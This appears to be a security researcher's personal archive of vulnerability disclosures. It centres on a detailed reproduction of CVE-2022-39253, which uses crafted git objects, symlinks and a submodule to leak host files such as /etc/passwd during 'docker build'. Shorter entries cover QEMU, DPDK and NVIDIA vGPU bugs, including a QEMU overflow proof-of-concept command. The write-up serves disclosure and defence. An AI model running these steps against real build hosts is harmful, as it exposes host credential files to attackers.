n0o.com - Personal archive of discovered vulns & writeups.

[CVE-2022-39253] Container build can leak any path on the host into the container


Reported: 11 Mar 2022 Timeline: 22 Mar 2022 Confirmed by Docker security team. 02 Sep 2022 CVE was assigned https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25 注:当时我懒了让Docker的大佬帮提交给curl,curl把发现人写成了他……加上当时公司业务转型,我也就懒得纠正了。所以最终Credit变成了这样: Credit for finding the vulnerability goes to Cory Snider of Mirantis. Wenxiang Qian of Tencent Blade Team reported the symlink copy vulnerability in the docker build command. Bjorn Neergaard of Mirantis discovered that Podman is also vulnerable. ===== Original Vuln Report: Under certain circumstances, running "docker build" with a git repository can leak any file on the host. The environment I've tested on: (1) Debian 10.7 + newest docker; (2) Please make sure you have git >= 2.25.0 installed on the host machine; (3) There must be a controllable docker image on the same host machine;* * Explanation: You have to place a malicious image A on the host first, then run "sudo docker build http://github.com/XXX.git" to build image B. As a result, image B can contain any file on the host machine. Steps to reproduce: (i.1) Create your git repo on any git server that you can have access to. leon@debian:/var/www/html/git$ sudo mkdir subm.git leon@debian:/var/www/html/git$ cd subm.git leon@debian:/var/www/html/git/subm.git$ sudo git --bare init leon@debian:/var/www/html/git/subm.git$ cd ../ leon@debian:/var/www/html/git$ sudo chown -R www-data:www-data subm.git/ leon@debian:/var/www/html/git$ sudo chmod -R 755 subm.git/ Add a user with an empty password to make sure you can visit it using http://USERNAME@SERVER/subm.git. Step i finished. (ii.1) Switch to your HOST machine (not the repo in step A), and create an empty repo in malicious image A. leon@debian:/tmp/example$ sudo docker run -it ubuntu /bin/bash root@e1b0f9963291:/# cd /tmp root@e1b0f9963291:/tmp# mkdir foo root@e1b0f9963291:/tmp# cd foo root@e1b0f9963291:/tmp/foo# git --version git version 2.25.1 root@e1b0f9963291:/tmp/foo# git init . Initialized empty Git repository in /tmp/foo/.git/ (ii.2) commit a file "first" with content "first" into that repo. root@e1b0f9963291:/tmp/foo# nano first root@e1b0f9963291:/tmp/foo# cat first first root@e1b0f9963291:/tmp/foo# git add first root@e1b0f9963291:/tmp/foo# git config --global user.email "you@example.com" root@e1b0f9963291:/tmp/foo# git config --global user.name "Your Name" root@e1b0f9963291:/tmp/foo# git commit -m "first" [master (root-commit) f8fa2ec] first 1 file changed, 1 insertion(+) create mode 100644 first root@e1b0f9963291:/tmp/foo# ls -al .git/objects/ 9c/ d0/ f8/ info/ pack/ (ii.3) Find the object with the 2nd large size, and remember its name: root@e1b0f9963291:/tmp/foo# ls -al .git/objects/9c/59e24b8393179a5d712de4f990178df5734d99 -r--r--r-- 1 root root 21 Feb 22 07:02 .git/objects/9c/59e24b8393179a5d712de4f990178df5734d99 root@e1b0f9963291:/tmp/foo# ls -al .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d -r--r--r-- 1 root root 50 Feb 22 07:02 .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d <-- our target root@e1b0f9963291:/tmp/foo# ls -al .git/objects/f8/fa2ec68623a38a7d344575c1e48b995cf849bb -r--r--r-- 1 root root 124 Feb 22 07:02 .git/objects/f8/fa2ec68623a38a7d344575c1e48b995cf849bb (ii.4) Commit another file "second" with content "second" into the same repo. root@e1b0f9963291:/tmp/foo# nano second root@e1b0f9963291:/tmp/foo# git add second root@e1b0f9963291:/tmp/foo# git commit -m "second" [master 719aec8] second 1 file changed, 1 insertion(+) create mode 100644 second root@e1b0f9963291:/tmp/foo# cat second second (ii.5) Delete the file in step (ii.3), make a symlink to /etc/password (or other file you want) * Note: You can also symlink to a directory, but this time, you should place a two-digit hex hash, in .git/objects/ directory. Such as "ln -s /etc .git/objects/77", this will leak the whole directory /etc to the guest. (bigfilethreshold = 0 may need to be set in /tmp/foo/.git/config) * For a more straightforward demonstration, this report only leaks a single file. root@e1b0f9963291:/tmp/foo# rm .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d root@e1b0f9963291:/tmp/foo# ln -s /etc/passwd .git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d root@e1b0f9963291:/tmp/subm# ls -al /tmp/foo/.git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d lrwxrwxrwx 1 root root 11 Feb 22 07:04 /tmp/foo/.git/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d -> /etc/passwd (ii.6) run "git clone /tmp/foo /tmp/foo2" if git doesn't complain about anything and we can go to the next step. root@e1b0f9963291:/tmp# git clone /tmp/foo /tmp/foo2 Cloning into '/tmp/foo2'... done. (ii.7) Run "mount" to get the path that the image stores on the host, from the "upperdir" part of its return value. root@e1b0f9963291:/tmp# mount overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/SCHOUZ47QRMPKL5JEC4TPL25UX:/var/lib/docker/overlay2/l/QGC7J4PCRMATWBUJNAEIRWDR4Z,upperdir=/var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff,workdir=/var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/work) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755) Which is: upperdir=/var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff (ii.8) Make another directory in the same container (not on the host): /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp, and then copy the corrupted /tmp/foo to that folder: root@e1b0f9963291:/tmp# mkdir -p /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp root@e1b0f9963291:/tmp# cp -r /tmp/foo /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp/foo (ii.9) Make a new repo in the same container: root@e1b0f9963291:/tmp# mkdir subm root@e1b0f9963291:/tmp# cd subm root@e1b0f9963291:/tmp/subm# git init . Initialized empty Git repository in /tmp/subm/.git/ (ii.10) Add a "Dockerfile" file and its content are shown as below: root@e1b0f9963291:/tmp/subm# nano Dockerfile root@e1b0f9963291:/tmp/subm# cat Dockerfile FROM ubuntu:latest ADD .git /tmp/foobar root@e1b0f9963291:/tmp/subm# git add . root@e1b0f9963291:/tmp/subm# git commit -m "f" [master (root-commit) 90b66af] f 1 file changed, 3 insertions(+) create mode 100644 Dockerfile (ii.11) Create a submodule named, for example, "mysubm", point to the very long directory created in step (ii.8): root@e1b0f9963291:/tmp/subm# git submodule add /var/lib/docker/overlay2/463be969b0fefaf2f1dc86674404e0e15905e2665af777398e31a5feb67f6806/diff/tmp/foo mysubm Cloning into '/tmp/subm/mysubm'... done. root@e1b0f9963291:/tmp/subm# git commit -m "foo" [master 2739806] foo 2 files changed, 4 insertions(+) create mode 100644 .gitmodules create mode 160000 mysubm (ii.12) Add remote origin. The origin is created in step (i.1). The project subm is not corrupted to be pushed into a remote server. root@e1b0f9963291:/tmp/subm# git remote add origin http://leon@192.168.31.161/subm.git root@e1b0f9963291:/tmp/subm# git push origin master Enumerating objects: 6, done. Counting objects: 100% (6/6), done. Delta compression using up to 4 threads Compressing objects: 100% (4/4), done. Writing objects: 100% (6/6), 641 bytes | 641.00 KiB/s, done. Total 6 (delta 0), reused 0 (delta 0) To http://192.168.31.161/subm.git * [new branch] master -> master So far, we have prepared all the environment for the exploit, step ii finished. (iii.1) Run "sudo docker build http://leon@192.168.31.161/subm.git", the URL is from step (i.1). leon@debian:/tmp/$ sudo docker build http://leon@192.168.31.161/subm.git Sending build context to Docker daemon 131.6kB Step 1/2 : FROM ubuntu:latest ---> d13c942271d6 Step 2/2 : ADD .git /tmp/foobar ---> 24aa0e0f9033 Successfully built 24aa0e0f9033 (iii.2) Check the newly built image. It should have the leaked file in its /tmp/foobar folder. leon@debian:/tmp$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE 24aa0e0f9033 39 seconds ago 72.8MB ... leon@debian:/tmp$ sudo docker run -it 24aa0e0f9033 /bin/bash Check the leaked file in the container B: root@b8c428dfb652:/# cat /tmp/foobar/modules/mysubm/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d ...... leon:x:1000:1000:leon,,,:/home/leon:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin uuidd:x:118:126::/run/uuidd:/usr/sbin/nologin debian-deluged:x:119:129::/var/lib/deluged:/usr/sbin/nologin ...... (iii.3) We can see the leak successed. They have different sha1: d9e1cfc39ed6be13de6a9c8b09a39830e076ab44 vs. /etc/shadow in the container: 5160dcbcc73a9d0876e3ada9ca4c95f2d7c63bb5. root@b8c428dfb652:/# sha1sum /tmp/foobar/modules/mysubm/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d d9e1cfc39ed6be13de6a9c8b09a39830e076ab44 /tmp/foobar/modules/mysubm/objects/d0/50db98b2b6674b8d65d73dde50e6e52c2c319d root@b8c428dfb652:/# sha1sum /etc/passwd 5160dcbcc73a9d0876e3ada9ca4c95f2d7c63bb5 /etc/passwd The cause of this issue: (i) Although docker limited which protocol can be handled by git (git/ssh/http/https), the submodule config can bypass this limitation (For example, obtain data via file:/// and local path). (ii) The clone_local(clone.c) of git doesn't check if "objects" in the .git folder is a symlink or regular file, and doesn't validate if they are legal object (I think it's okay in daily use, but it can cause problems in this situation). (iii) The "docker build" runs on the host side with root dir /, but the container image is also on the host and has a different root dir, which allows an image to put a malicious repo in the container and can be read from the host.

[CVE-2021-3839] DPDK memory out of boundary read/write


Intel is working for the update [PRODUCT]: DPDK [VERSION]: 20.11 [PROBLEMTYPE]: memory read/write out of boundary [SEVERITY]: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:L 5.2 (Medium) Wenxiang Qian discovered that DPDK incorrectly checked certain payloads. An attacker could use this issue to cause DPDK to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2021-3839)
PENDING

[CVE-2021-1100] NVIDIA vGPU kernel mode driver not validate pointer before it is dereferenced


Reported on : 10 Apr 2021 Fix Shipped : 23 Jul 2021 NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager kernel mode driver (nvidia.ko), in which a pointer to a user-space buffer is not validated before it is dereferenced, which may lead to denial of service. This affects vGPU version 12.x (prior to 12.3), version 11.x (prior to 11.5) and version 8.x (prior 8.8). (No disclosure plan)
PENDING

[CVE-2021-1099] Incorrect stack privilege allows putting custom ROP gadget on stack


Reported on : 10 Apr 2021 Fix Shipped : 23 Jul 2021 CVE-2021-1099 NVIDIA vGPU Manager (vGPU plugin) could allow an attacker to put a customized ROP gadget on the stack. NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager (vGPU plugin) that could allow an attacker to cause stack-based buffer overflow and put a customized ROP gadget on the stack. Such an attack may lead to information disclosure, data tampering, or denial of service. This affects vGPU version 12.x (prior to 12.3), version 11.x (prior to 11.5) and version 8.x (prior 8.8). (No disclosure plan)
PENDING

[CVE-2021-1087] Information Leak In Nvidia vGPU Manager


Reported on : 1 Feb 2021 Fix Shipped : 25 Apr 2021 NVIDIA vGPU driver contains a vulnerability in the Virtual GPU Manager (vGPU plugin), which could allow an attacker to retrieve information that could lead to a Address Space Layout Randomization (ASLR) bypass. (No disclosure plan)
https://nvidia.custhelp.com/app/answers/detail/a_id/5172

[CVE-2021-1084] OOB Issue In Nvidia vGPU Manager and Guest Kernel


Reported on : 1 Feb 2021 Fix Shipped : 25 Apr 2021 NVIDIA vGPU driver contains a vulnerability in the guest kernel mode driver and Virtual GPU Manager (vGPU plugin), in which an input length is not validated, which may lead to tampering of data or denial of service. (No disclosure plan)
Pending

[CVE-2021-1082] OOB Issue In Nvidia vGPU Manager


Reported on : 1 Feb 2021 Fix Shipped : 25 Apr 2021 NVIDIA vGPU software contains a vulnerability in the Virtual GPU Manager (vGPU plugin), in which an input length is not validated, which may lead to information disclosure, tampering of data, or denial of service. (no disclosure plan)
Pending

[CVE-2020-29443] QEMU: ide: atapi: OOB access while processing read


Reported on : 24 Aug 2020 Shipped on : 1 Dec 2020 Type : OOB read/write In Function : ide_atapi_cmd_reply_end You must enable AHCI to reproduce this bug. From QEMU: An out-of-bounds read access issue was found in the ATAPI Emulator of QEMU. It occurs while processing ATAPI read command if logical block address(LBA) is set to an invalid value. A guest user may use this flaw to crash the QEMU process on the host resulting in DoS scenario. =============== PS: Actually this can be also an OOB write, this can escape the VM. It's not "only an OOB read" issue as they described. I've gave them detailed analysis, the PoC, and ask them to reply me if there's anything I need to explain to them. I've mentioned this OOBW many times in the report but anyway they just kept ignoring me, and wrote: "The report skimped on the details" "the buffer overrun is only a read" So I gave up make any dissent after I saw their commit logs, but I'd like to clarify it here. ===============
https://www.openwall.com/lists/oss-security/2021/01/18/2

[NO CVE]QEMU: Stack buffer out-of-bounds read & leak in console.c


Reported to QEMU @ 1 July 2020 Fixed @ 10 Aug 2020 Reply from the vendor: I was able to reproduce the said OOB issue in ui/console.c with $ ./bin/qemu-system-x86_64 -enable-kvm -m 2048 -chardev vc,id=`perl -e 'print "A" x 1025'`,width=640,height=480 \ -mon chardev=`perl -e 'print "A" x 1025'` -nographic /var/lib/libvirt/images/f27vm.qcow2 ==301314==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffd690 at pc 0x5555566ad82a bp 0x7fffffffd560 sp 0x7fffffffd550 READ of size 1 at 0x7fffffffd690 thread T0 #0 0x5555566ad829 in vc_chr_write ui/console.c:1109 #1 0x5555566b45e3 in text_console_do_init ui/console.c:2193 #2 0x5555566b2f38 in init_displaystate ui/console.c:1863 #3 0x555555fe1c8f in qemu_init qemu/softmmu/vl.c:4395 #4 0x555556962bf6 in main qemu/softmmu/main.c:48 #5 0x7ffff6834041 in __libc_start_main (/lib64/libc.so.6+0x27041) #6 0x555555d7e78d in _start (/bin/qemu-system-x86_64+0x82a78d) * Considering that the said OOB access issue in ui/console.c occurs during console initialisation, as seen above, it does not seem to have a security impact. * Stack contents are revealed to the user starting QEMU process, which he/she can see via other means too. This OOB access issue is best fixed as regular non-security bug. ====================================== The vulnerability is in ui/console.c. chr->label is the id specified by the startup parameter of qemu. The following snprintf's return value is the actual length required to write the msg, so if the length of chr->label and "console \r\n" is greater than 128, len will also be greater than 128. The following vc_chr_write outputs msg[x] to console, x is a length of 0~len-1. As a result, the contents of the stack buffer will be accessed out of bounds. static void text_console_do_init(CharDriverState *chr, DisplayState *ds) { ..... if (chr->label) { char msg[128]; int len; s->t_attrib.bgcol = QEMU_COLOR_BLUE; len = snprintf(msg, sizeof(msg), "%s console\r\n", chr->label); vc_chr_write(chr, (uint8_t *)msg, len); s->t_attrib = s->t_attrib_default; } Simplest PoC: qemu --enable-kvm -hda /home/leonwxqian/exdisk/disk.qcow2 -m 2048 -chardev vc,id=a123456789a123456789a123456789a123456789a123456789a123456789a1234567 89a123456789a123456789a123456789a123456789a123456789a123456789a123456789a1 23456789,width=640,height=480 -mon chardev=a123456789a123456789a123456789a 123456789a123456789a123456789a123456789a123456789a123456789a123456789a1234 56789a123456789a123456789a123456789a123456789 Fix Advice: len = snprintf(msg, sizeof(msg), "%s console\r\n", chr->label); + if(len > sizeof(msg)) + len = sizeof(msg);
1  2  3  4